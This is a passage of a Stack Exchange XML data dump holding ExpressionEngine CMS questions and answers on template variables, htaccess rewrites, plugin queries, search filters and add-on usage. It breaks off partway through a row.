  <row Id="9800" PostTypeId="2" ParentId="9798" CreationDate="2013-04-27T15:30:34.903" Score="7" Body="&lt;p&gt;Take a look at your main index.php file, you should see this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  $assign_to_config['global_vars'] = array(); // This array must be associative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that's uncommented and populated the variables should be available in your templates. For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars'] = array('analytics_key' =&amp;gt; 'UA-XXXXXXX-XX');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should be available as &lt;code&gt;{analytics_key}&lt;/code&gt; in any template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd prefer to set the variables in config.php you can, but you need to explicitly set the scope of the &lt;code&gt;$assign_to_config&lt;/code&gt; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;$assign_to_config['global_vars'] = array(&#xA;    'analytics_key'  =&amp;gt; 'UA-XXXXXXX-XX',&#xA;    'something_else' =&amp;gt; 'ABC',&#xA;    'another_one'    =&amp;gt; '12345'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-04-27T16:31:42.523" LastActivityDate="2013-04-27T16:31:42.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9801" PostTypeId="1" CreationDate="2013-04-27T16:26:24.887" Score="1" ViewCount="64" Body="&lt;p&gt;is there any solution to make permanent and repeat in each entry form a matrix fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would to make this set of field (includes row and colums) fixed for each new entry form in CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Abla4.jpg&quot; alt=&quot;Matrix field settings&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OOxKw.png&quot; alt=&quot;Default matrix fieldtype&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words i want to save this matrix configuration of rows, columns and cells and repeat the same for each entry of a particular channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2013-05-27T23:30:29.217" Title="Save a Matrix fieldtype configuration to make it fixed and permanent for each entry of a channel" Tags="|matrix|fieldtype|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9803" PostTypeId="2" ParentId="9792" CreationDate="2013-04-27T20:32:59.257" Score="1" Body="&lt;p&gt;It might be that this problem is bound to my server environment (although I was able to reproduce this locally with MAMP), but this is how I've got it solved after many hours of swearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the /system/expressionengine/config/config.php file there is a setting the specify how EE should deal with URI's.  In a standard EE setup this is specified as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'AUTO';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing this to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'PATH_INFO';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;solved my problems and it might solve yours!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-04-27T20:32:59.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9804" PostTypeId="2" ParentId="9752" CreationDate="2013-04-27T20:35:05.340" Score="1" Body="&lt;p&gt;few months ago I had similar work to do, I had tried many (many) solutions and rewrite hacks but I'm not a htaccess guru and I was almost ready to drop it, but then I remembered I can park domains on my package and once domain is directed to your site, you can do with it something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I have in my htaccess rules for removing index.php and later I have few lines that handle new domain request. You must have that other domain for testing, besides that iys hard to know if will work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;#Classic index.php remove&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;#get request from new domain and rewrite destination&#xA;#maybe you can do something different, but this worked for me&#xA;RewriteCond %{HTTP_HOST} ^(www.)?thisismysite\.com$ [NC]&#xA;RewriteCond %{ENV:REDIRECT_STATUS} ^$&#xA;RewriteCond %{DOCUMENT_ROOT}/$1 -f&#xA;RewriteRule ^(.*)$ /section/subsection/category/thisismysite/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work for you (even I had almost exact requirements as you), maybe you can play around this solution.&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-04-27T20:35:05.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9805" PostTypeId="2" ParentId="9801" CreationDate="2013-04-27T22:41:13.833" Score="1" Body="&lt;p&gt;If you only need to do this via the control panel you could create a 'default' entry and then use &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;MX Cloner&lt;/a&gt; to duplicate it each time you create a new entry. That would start you off with all the Matrix data prepopulated on your duplicated entry.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-27T22:41:13.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9806" PostTypeId="2" ParentId="9748" CreationDate="2013-04-27T23:03:38.573" Score="2" Body="&lt;p&gt;This sounds like a parse order issue. It's the sort of thing you could turn into a custom plugin really easily though, and it would avoid creating any SQL injection security issues at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new file &lt;code&gt;third_party/my_plugin/pi.my_plugin.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php class My_plugin&#xA;{&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE = get_instance();&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('&#xA;                exp_channel_titles.entry_id,&#xA;                exp_channel_titles.title,&#xA;                exp_channel_titles.url_title,&#xA;                exp_channel_titles.status,&#xA;                exp_channel_titles.channel_id,&#xA;                exp_channel_data.field_id_66,&#xA;                exp_channel_data.field_id_50')&#xA;            -&amp;gt;join('exp_channel_data', 'exp_channel_data.entry_id = exp_channel_titles.entry_id')&#xA;            -&amp;gt;where('exp_channel_data.field_id_50', $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('member_group'))&#xA;            -&amp;gt;or_where_in('exp_channel_titles.entry_id', $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('additional_projects'))&#xA;            -&amp;gt;where('exp_channel_titles.status', 'open')&#xA;            -&amp;gt;where('exp_channel_titles.channel_id', '14');&#xA;        $result = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;result_array();&#xA;&#xA;        $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $result);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin member_group=&quot;{embed:member_group}&quot; additional_projects=&quot;{embed:additional_projects}&quot;}&#xA;    {title}&#xA;{/exp:my_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-27T23:03:38.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9807" PostTypeId="1" AcceptedAnswerId="9808" CreationDate="2013-04-28T00:41:08.633" Score="1" ViewCount="238" Body="&lt;p&gt;I recently launched a EE site using CartThrob. I need to add multiple email addresses to a notification, the 'Email To' field. Here is a screenshot of the settings available (&lt;a href=&quot;http://cl.ly/image/2Y2I1s1w441V&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2Y2I1s1w441V&lt;/a&gt;). The 'Email To' field doesn't mention if you can add multiple emails. I aslo searched the CartThrob documentation but couldn't find anything either. I am guessing you might be able to separate emails using a comma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you add multiple emails to the 'Email To' notification field?&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2013-04-28T02:02:10.063" Title="CartThrob Notifications - Multiple To Emails" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9808" PostTypeId="2" ParentId="9807" CreationDate="2013-04-28T02:02:10.063" Score="1" Body="&lt;p&gt;If you can't use a comma separated string, you could probably achieve the same thing by duplicating the notification and just using a different email address for each one. Because you can create as many different notifications as you like and there's nothing to say that you can't have more than notification for the same event.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-28T02:02:10.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9809" PostTypeId="2" ParentId="9795" CreationDate="2013-04-28T02:04:18.887" Score="0" Body="&lt;p&gt;Have you updated your config file?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['base_url']   = '';&#xA;$config['index_page'] = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-28T02:04:18.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9810" PostTypeId="2" ParentId="9764" CreationDate="2013-04-28T02:10:53.160" Score="1" Body="&lt;p&gt;You may not be able to restrict member groups to categories in the control panel, but you could certainly do it in your templates if they're adding/editing content on the front end via Safecracker.&lt;/p&gt;&#xA;&lt;p&gt;And just did a quick search on Devotee, and even though the intro for &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow noreferrer&quot;&gt;Entry Access&lt;/a&gt; says it's for use on the front end, if you read further down, it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The restrictions also apply to editing entry from CP.&lt;/p&gt;&#xA;&lt;p&gt;Default permissions (for a new entry) can be set in extension settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="116" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-28T02:10:53.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9811" PostTypeId="2" ParentId="9782" CreationDate="2013-04-28T02:17:00.730" Score="0" Body="&lt;p&gt;Sounds to me like you'd want separate channels for events and speakers and then use EE's native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;relationship&lt;/a&gt; field or &lt;a href=&quot;http://pixelandtonic.com/playa/&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; to relate speakers to events.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-28T02:17:00.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9812" PostTypeId="2" ParentId="9787" CreationDate="2013-04-28T09:20:41.283" Score="1" Body="&lt;p&gt;Yeah, the syntax for the grouped category search filter is &lt;code&gt;category:group_name&lt;/code&gt;, &lt;em&gt;not&lt;/em&gt; &lt;code&gt;search:group_name&lt;/code&gt;. The latter is the native search:-parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in this case, you don't even need to use the grouped category filter, as you only have a single group. The grouped category filter allows you to combine &lt;code&gt;AND&lt;/code&gt; and &lt;code&gt;OR&lt;/code&gt; queries, which requires at least 2 groups. Therefore, you could just use &lt;code&gt;name=&quot;category&quot;&lt;/code&gt;, the native category parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show the category name, you'll need to use the &lt;code&gt;channel:categories&lt;/code&gt; tag. The &lt;code&gt;{low_search_category}&lt;/code&gt; variable will contain a pipe-separated list of selected category IDs, so use the tag to get the corresponding names. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories show=&quot;{low_search_category}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure to use that inside either the Results tag, the Form tag or the Filters tag.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-28T09:20:41.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9814" PostTypeId="2" ParentId="9787" CreationDate="2013-04-28T10:15:48.363" Score="0" Body="&lt;p&gt;OK, Low has provided an answer to my question, but'll explain how I have just managed to solve this. My way is probably not the most optimised or efficient way, but it's working!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, to get the category name. I used Mark Croxton's Cat2 plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exp:cat2:name category_id=&quot;{low_search_category:cottage_county}&quot;}&lt;/code&gt; was all I needed to change the &lt;code&gt;id&lt;/code&gt; to the &lt;code&gt;name&lt;/code&gt;. I think this is essentially the same principal as using the &lt;code&gt;channel:categories&lt;/code&gt; tag that Low has suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other issue was the &quot;range&quot; search dropdowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get this to keep the values once a search had been performed by using this in the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;range:cottages_sleeps_max&quot; class=&quot;span2&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1;&quot; {if &quot;1;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;1 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;2;&quot; {if &quot;2;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;2 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;3;&quot; {if &quot;3;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;3 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;4;&quot; {if &quot;4;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;4 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;5;&quot; {if &quot;5;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;5 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;6;&quot; {if &quot;6;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;6 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;7;&quot; {if &quot;7;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;7 or more&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;8;&quot; {if &quot;8;&quot; == &quot;{low_search_range:cottages_sleeps_max}&quot;} selected=&quot;selected&quot;{/if}&amp;gt;8 or more&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then this in the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if low_search_range:cottages_sleeps_max}Sleeps &#xA;  {if low_search_range:cottages_sleeps_max == &quot;1;&quot;}&amp;lt;strong&amp;gt;1&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;2;&quot;}&amp;lt;strong&amp;gt;2&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;3;&quot;}&amp;lt;strong&amp;gt;3&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;4;&quot;}&amp;lt;strong&amp;gt;4&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;5;&quot;}&amp;lt;strong&amp;gt;5&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;6;&quot;}&amp;lt;strong&amp;gt;6&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;7;&quot;}&amp;lt;strong&amp;gt;7&amp;lt;/strong&amp;gt; or more.{/if}&#xA;  {if low_search_range:cottages_sleeps_max == &quot;8;&quot;}&amp;lt;strong&amp;gt;8&amp;lt;/strong&amp;gt; or more.{/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, I'm not entirely sure that this is the way it &lt;em&gt;should&lt;/em&gt; be done. But it's working solidly.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-28T10:15:48.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9815" PostTypeId="1" AcceptedAnswerId="10264" CreationDate="2013-04-28T13:00:38.677" Score="0" ViewCount="223" Body="&lt;p&gt;Since I updated my EE installation from 2.5.5 to 2.6.0 the {exp:assets:files}-tag pair does not output anything anymore. I have also updated Assets to 2.1.1. Also {exp:assets:total_files} returns zero. The {exp:assets:folders}-tag pair works fine. I have also reindexed all files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;unstyled&quot;&amp;gt;&#xA;    {exp:assets:folders parent_folder=&quot;{filedir_5}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;i class=&quot;icon-folder-open&quot;&amp;gt;&amp;lt;/i&amp;gt; {folder_name}&amp;lt;/a&amp;gt;&#xA;            {if total_subfolders}&#xA;                &amp;lt;ul class=&quot;unstyled&quot; style=&quot;margin-left: 25px;&quot;&amp;gt;&#xA;                    {subfolders}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;ul class=&quot;unstyled&quot; style=&quot;margin-left: 25px;&quot;&amp;gt;&#xA;                {exp:assets:files folder_id=&quot;{folder_id}&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;i class=&quot;icon-file&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;/{exp:link_vault:download_link file_path='../../../../{server_path}' url_only='true' action_only='true' }&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if} ({size})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:assets:files}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:assets:folders}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am showing a whole file hierarchy of a file directory above the web root (therefore link-vault-addon usage). The folder are outputted correctly but no files are shown. I have also tried your example usage from the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:folders recursive=&quot;yes&quot;}&#xA;&amp;lt;h3&amp;gt;{folder_name}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:assets:files folder_id=&quot;{folder_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url:huge}&quot; target=&quot;_blank&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:assets:files}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:assets:folders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this also only outputs all folders but no files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="980" LastEditorUserId="980" LastEditDate="2013-05-02T09:37:55.700" LastActivityDate="2013-05-10T11:14:29.553" Title="{exp:assets:files} does not output anything" Tags="|pixelandtonic|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9816" PostTypeId="1" CreationDate="2013-04-28T14:27:34.757" Score="1" ViewCount="171" Body="&lt;p&gt;I have a form that will help a user build up a quote for fees to move house. The first page of the form will ask the user to select their nearest location from a drop down list, they will then enter the value of the house they wish to buy into a text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to happen on the next page is to display the selected location from the drop down list and also the value they entered for the house, but also to display an estimated fee for purchasing the house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Fee is calculated by a series of ranges for each location, for example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Location A&#xA;House Price | Fee&#xA;Up to 80000 | 100&#xA;80000 - 100000 | 200&#xA;Over 100000 | 300&#xA;&#xA;Location B&#xA;House Price | Fee&#xA;Up to 80000 | 150&#xA;80000 - 100000 | 250&#xA;Over 100000 | 350&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have looked at various Form modules, but none of them do any kind of calculations. So I was wondering if anyone has done anything like this before with forms and calculations?&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-05-29T05:30:34.753" Title="Arithmetic with forms" Tags="|forms|math|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9817" PostTypeId="2" ParentId="9816" CreationDate="2013-04-28T14:43:35.113" Score="0" Body="&lt;p&gt;I would assume the best way to do this would be JavaScript. I have built something similar in the past for various sites that needed industry specific calculators. Almost always you want to handle this with JavaScript, so this would be better covered outside of most EE add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just use jQuery to make life easy. If you needed to save the results, just use Safecracker and save the data to a channel after the JS calculates your totals. This method would work with any of the form add-ons though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far the JS syntax and logic, well that is outside the scope of my answer.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-04-28T14:43:35.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9818" PostTypeId="1" CreationDate="2013-04-28T15:53:08.990" Score="1" ViewCount="71" Body="&lt;p&gt;I I use this syntax, stash work well&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;contenuto&quot;}&#xA;&#xA;{/exp:stash:get}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I omit &lt;code&gt;{/exp:stash:get}&lt;/code&gt;, I receive an error from expression engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't found examples with name= and the closing tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm right in my syntax?&lt;/p&gt;&#xA;" OwnerUserId="1395" LastEditorUserId="150" LastEditDate="2013-04-29T12:31:17.663" LastActivityDate="2013-04-29T12:31:17.663" Title="I need a exp:stash:get closing table?" Tags="|stash|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9819" PostTypeId="1" AcceptedAnswerId="9887" CreationDate="2013-04-28T17:56:44.803" Score="0" ViewCount="220" Body="&lt;p&gt;Has anyone used the Channel Videos add-on with https? I have tried rewriting all of the URLs in the add-on with https and also tried rewriting the URLs to just //, without a protocol. Both of those methods still produce insecure content on the site. I would appreciate any feedback the community has to offer. I love this add-on, and I really want to use it on this site.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-04-30T12:38:55.837" Title="Channel Videos with https?" Tags="|channel-videos|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9820" PostTypeId="2" ParentId="9819" CreationDate="2013-04-28T19:36:05.450" Score="0" Body="&lt;p&gt;How about wrapping your Channel Video tags with &lt;a href=&quot;http://devot-ee.com/add-ons/find-and-replace-plus&quot; rel=&quot;nofollow&quot;&gt;Find and Replace&lt;/a&gt; to swap out the protocol:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:replace_plus find='http:' replace='https:'}&#xA;&#xA;    {exp:channel_videos:videos}&#xA;        &amp;lt;!-- Template Code --&amp;gt;&#xA;    {/exp:channel_videos:videos}&#xA;&#xA;{/exp:replace_plus}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I've not used Channel Videos before and can't see what is actually being output in the template files you may need to tweak it a bit.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-28T19:36:05.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9821" PostTypeId="2" ParentId="9819" CreationDate="2013-04-28T19:58:17.007" Score="0" Body="&lt;p&gt;Taking YouTube as an example, how about adding this to your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteBase /&#xA;RewriteRule ^youtube/(.*)$ http://www.youtube.com/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then prefixing the video link with your domain over HTTPS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;embed src=&quot;https://www.yourdomain.com/youtube/v/embed_code&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;560&quot; height=&quot;340&quot;&amp;gt;&amp;lt;/embed&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key is adding &lt;code&gt;https://www.yourdomain.com/youtube/&lt;/code&gt; to the source URI. Apache will then see this and rewrite them to the regular YouTube URI which may result in removing the security warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, having not used Channel Videos specifically I'm not sure how you add the source URI but if you have control of this then give that a go.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-28T19:58:17.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9822" PostTypeId="1" AcceptedAnswerId="9941" CreationDate="2013-04-28T23:25:24.627" Score="0" ViewCount="195" Body="&lt;p&gt;So I have three channels. One is called &lt;strong&gt;Event Categories&lt;/strong&gt;, one is called &lt;strong&gt;Events&lt;/strong&gt;, and one is called &lt;strong&gt;Standard Pages&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other reasons I don't want to get into here, I have decided not to use the native EE &quot;Category&quot; functionality to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to have happen is this. &lt;strong&gt;Events&lt;/strong&gt; are related to &lt;strong&gt;Event Categories&lt;/strong&gt; and then &lt;strong&gt;Event Categories&lt;/strong&gt; are related to &lt;strong&gt;Standard Pages&lt;/strong&gt;. So if I associate an &lt;strong&gt;Event Category&lt;/strong&gt; with a &lt;strong&gt;Standard Pages&lt;/strong&gt; entry, it needs to list all of the specific &lt;strong&gt;Events&lt;/strong&gt; associated with the &lt;strong&gt;Event Categories&lt;/strong&gt; associated with that &lt;strong&gt;Standard Page&lt;/strong&gt; entry. These &lt;strong&gt;Events&lt;/strong&gt; should be listed under a title h3 element for each &lt;strong&gt;Event Category&lt;/strong&gt; listed. If an &lt;strong&gt;Event Category&lt;/strong&gt; is related to the &lt;strong&gt;Standard Page&lt;/strong&gt;, but has no active &lt;strong&gt;Events&lt;/strong&gt; associated with it, it should not be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure this is a very easy thing to accomplish, but relationships always mess with my head and I cannot, for the life of me, figure out the template code to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-01T14:54:19.953" Title="2-layer children - I can't wrap my head around this! ;-)" Tags="|playa|pixelandtonic|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9823" PostTypeId="1" AcceptedAnswerId="9847" CreationDate="2013-04-28T23:37:09.987" Score="3" ViewCount="172" Body="&lt;p&gt;I'm wondering about best practice, and if I'm setting myself up for trouble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The goal&lt;/strong&gt;:&#xA;Limit an editor's Safecracker access to specific entries within a channel, based on the member group of the editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The setup&lt;/strong&gt;:&#xA;I'm using Zoo Visitor for members as channel entries. Thinking of using categories to limit Safecracker access within a channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An example&lt;/strong&gt;:&#xA;my_member_channel has an entry named Dan, who is in my_editors member group. Dan needs to be able to edit other users in the my_member_channel that have the category &quot;Editor Category&quot; selected, but no others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This seems to work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;my_member_channel&quot; 